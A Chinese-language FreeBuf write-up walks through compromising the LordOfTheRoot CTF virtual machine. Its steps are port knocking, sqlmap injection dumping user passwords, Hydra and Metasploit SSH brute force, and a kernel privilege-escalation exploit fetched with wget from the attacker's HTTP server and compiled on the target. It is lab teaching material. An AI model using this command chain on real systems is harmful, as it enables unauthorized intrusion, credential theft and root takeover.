freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

No.6-红队渗透项目:LordOfTheRoot_1.0.1
2024-04-19 21:44:41

简介

作者:摇光

时间:2024-04-19

座右铭:路虽远,行则将至,事虽难,做则必成。

请注意:

对于所有这些计算机,我已经使用VMware运行下载的计算机。我将使用Kali Linux作为解决该CTF的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,我概不负责。

一、信息收集

在VM中获取攻击目标的ip地址,用nmap获取目标主机的ip地址

nmap -sP 192.168.111.0/24

1713517856_66223520066c7be6d1bfc.png!small?1713517857489

目标主机的ip:192.168.111.138

nmap -sS -sV -A -p- -T5 192.168.111.138

扫描全端口,查看开放端口及服务详情

1713518123_6622362b1bcf98fc15687.png!small?1713518124907

只开放了22端口及ssh服务

二、ssh尝试登录

ssh 192.168.111.138

1713518329_662236f9b761a1328f593.png!small?1713518330756

Easy as 1,2,3

意思是让敲震端口3次

---------

端口碰撞

端口试探(port knocking)是一种通过连接尝试,从外部打开原先关闭端口的方法。一旦收到正确顺序的连接尝试,防火墙就会动态打开一些特定的端口给允许尝试连接的主机。

端口试探的主要目的是防治攻击者通过端口扫描的方式对主机进行攻击。端口试探类似于一次秘密握手协议,比如一种最基本的方式:发送一定序列的UDP、TCP数据包。当运行在主机上的daemon程序捕捉到数据包以后,如果这个序列正确,则开启相应的端口,或者防火墙允许客户端通过。

由于对外的Linux服务器通过限制IP地址的方式来控制访问,因此可以利用这种端口试探方式来进行防火墙对于访问IP地址的控制。

如何进行端口碰撞?

首先需要我们知道端口碰撞的序列,否则暴力碰撞开启的机会太小。

1)第一种方法:knock 命令
linux安装:sudo apt install knockd

使用:
knock <IP> <PORT1> <PORT2> <PORT3> <PORT4> -v
例如需要碰撞 172.16.1.1 的 3,4,7,8 端口:
knock 10.211.55.11 1 2 3 -v2)hping3:TCP/IP数据包组装/分析工具
hping3 -S [IP地址] -p 1 -c 1


hping3 -S 10.211.55.11 -p 1 -c 1
hping3 -S 10.211.55.11 -p 2 -c 1
hping3 -S 10.211.55.11 -p 3 -c 1
----------------
-S(--syn):SYN是TCP/IP建立连接时使用的握手信号。在客户机和服务器之间建立正常的TCP网络连接时,客户机首先发出一个SYN消息,服务器使用SYN-ACK应答表示接收到了这个消息,最后客户机再以ACK消息响应。这样在客户机和服务器之间才能建立起可靠的TCP连接,数据才可以在客户机和服务器之间传递。
-p --destport: 目的端口(默认为0),可同时指定多个端口
-c --count:指定数据包的次数

参考资料:https://blog.csdn.net/qq_30247635/article/details/86243448

---------

hping3端口碰撞

hping3 -S 192.168.111.138 -p 1 -c 1

hping3 -S 192.168.111.138 -p 2 -c 1

hping3 -S 192.168.111.138 -p 3 -c 1

1713518529_662237c18448677e58f2f.png!small?1713518530436

通过ping冲撞之后,防火墙规则,重新进行nmap扫描,查看碰撞打开的端口

nmap -sS -sV -A -p- -T5 192.168.111.138

1713519378_66223b12340d011af81cf.png!small?1713519378706

发现打开了1337端口

1337端口存在http服务,进行信息枚举


1713519773_66223c9da7776ff439c7e.png!small?1713519773803

经过枚举,发现该路径:/usr/share/dirb/wordlists/common.txt

三、web渗透

浏览器访问

http://192.168.111.138:1337/usr/share/dirb/wordlists/common.txt

1713519855_66223cef5106d430df3d4.png!small?1713519855614

F12查看调试界面

1713519917_66223d2dcec65f55d372c.png!small?1713519918257

发现:THprM09ETTBOVEl4TUM5cGJtUmxlQzV3YUhBPSBDbG9zZXIh

kali--base64解码

echo 'THprM09ETTBOVEl4TUM5cGJtUmxlQzV3YUhBPSBDbG9zZXIh' | base64 -d

1713520037_66223da5bf91ee2143818.png!small?1713520037881

解码后的内容为:Lzk3ODM0NTIxMC9pbmRleC5waHA= ,发现还是base64,继续解码

1713520188_66223e3c3adb145bb412c.png!small?1713520188418

发现文件路径:/978345210/index.php

浏览器访问

http://192.168.111.138:1337//978345210/index.php

1713520245_66223e751b2366e512a14.png!small?1713520245251

发现Welcome to the Gates of Mordor,进行sql注入,这里使用sqlmap注入

sqlmap爆破数据库

爆破数据库库名

sqlmap -u http://192.168.111.138:1337//978345210/index.php --forms --dbs

-------------
Optimization
-o:开启所有优化开关
--predict-output:预测常见的查询输出
--keep-alive:使用持久的HTTP(S)连接
--null-connection:从没有实际的HTTP响应体中检索页面长度

--threads=THREADS:设置请求的并发数
--forms参数,sqlmap会自动从-u中的url获取页面中的表单进行测试
-------------

1713520680_66224028c89db89199a5a.png!small?1713520684795

1713520620_66223fec254a52ef245bb.png!small?1713520639572

爆出四个数据库库名信息!继续获取webapp数据表信息!

[*] information_schema
[*] mysql
[*] performance_schema
[*] Webapp

爆破数据库表信息

sqlmap -u http://192.168.111.138:1337//978345210/index.php --forms --dbs -D Webapp --tables

1713520794_6622409a34bef7c565d22.png!small?1713520794741

1713520830_662240bee84be767636dd.png!small?1713520831246

可以看到Users数据表,继续查看数据表信息!

爆破数据库表字段信息

sqlmap -u http://192.168.111.138:1337//978345210/index.php --forms --dbs -D Webapp --tables -T Users --columns

(-D dbname指定数据库名称、-T tablename:指定某数据表的名称、--columns:列出指定表上的所有列)

1713521088_662241c05a825ed7868e5.png!small?1713521088498

1713521087_662241bfa7484c6a638a7.png!small?1713521088499

可看到数据库Webapp的表Users中存在字段id,password,username信息!

爆破字段内容信息

sqlmap -o -u "http://192.168.111.138:1337/978345210/index.php" --forms -D Webapp -T Users --columns -C id,username,password --dump

1713521130_662241ea453fd73a6f7cb.png!small?1713521131204

1713521150_662241fe856fa56145b81.png!small?1713521150859

获得普通用户的用户名密码,那么来爆破下!
user:
frodo
smeagol
aragorn
legolas
gimli

passwd:
iwilltakethering
MyPreciousR00t
AndMySword
AndMyBow
AndMyAxe

用户名和密码分别写入两个txt文件

SSH爆破-Hydra、MSF

1.hydra(九头蛇)爆破登录用户和密码

hydra -L user.txt -P pass.txt 192.168.111.138 ssh

1713522018_66224562a2f1ca55b935c.png!small?1713522018926

获得登录用户和密码

login: smeagol   password: MyPreciousR00t

2.MSF爆破登录用户和密码

启动MSF

msfconsole

1713522244_66224644a36f6b5eec20e.png!small?1713522245761

查找ssh的登录漏洞

search ssh_login

1713522382_662246ce28e27661bd4b8.png!small?1713522382456

利用第0个漏洞进行爆破

use auxiliary/scanner/ssh/ssh_login

1713522478_6622472e7e13e5a37e779.png!small?1713522478442

查看需要哪些配置

show options

1713522538_6622476ac87b493de33f2.png!small?1713522539493

输入配置信息

set rhost 192.168.111.138

set user_file /root/Desktop/lordof/user.txt

set pass_file /root/Desktop/lordof/pass.txt

set stop_on_success true

1713522605_662247ad4313c7749e6a6.png!small?1713522605388

运行

run

1713523264_66224a40b8480b2a9fea3.png!small?1713523264875

获得登录用户名和密码

smeagol:MyPreciousR00t

四、内核提权

SSH登录提权

ssh smeagol@192.168.111.138

MyPreciousR00t

1713531278_6622698ecc52d460df690.png!small?1713531278964

查看系统当前权限,内核版本

id

lsb_release -a

1713533145_662270d9a7b8f8e4a8032.png!small?1713533145795

发现只是普通用户权限,系统版本为Ubuntu 14.04.3 LTS

方法一:EXP内核提权

谷歌搜索:Ubuntu 14.04 exploit
https://www.exploit-db.com/exploits/39166

EDB-ID:39166

1713532775_66226f67a24db64c23ec7.png!small?1713532775775

kali查询39166

searchsploit 39166

1713532862_66226fbeb1b1596a85f38.png!small?1713532862928

查看路径

locate linux/local/39166.c

1713532885_66226fd5d8b31dddef8b0.png!small?1713532885887

拷贝到本地

cp /usr/share/exploitdb/exploits/linux/local/39166.c .

1713532904_66226fe8eabc0bf86dd10.png!small?1713532904946

打开8081端口,准备上传EXP文件

python -m SimpleHTTPServer 8081

1713533008_66227050b3545dd26c99f.png!small?1713533009067

上传EXP文件

wget http://192.168.111.128:8081/39166.c

1713533226_6622712acef59c4b1eac6.png!small?1713533226912

编译重命名为yg

gcc 39166.c -o yg

1713533275_6622715b6392c81bd4157.png!small?1713533275446

给编译后的文件赋予最高权限,运行

chmod +x yg

./yg

1713533339_6622719b0686f79983f0b.png!small?1713533339404

提权成功!当前权限为root

切换到root目录,查看flag文件

1713533408_662271e0c886565affa03.png!small?1713533408987

“There is only one Lord of the Ring, only one who can bend it to his will. And he does not share power.”
– Gandalf

方法二:Mysql UDF提权

后续~

# 渗透测试 # web安全 # 漏洞分析 # CTF # 网络安全技术
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录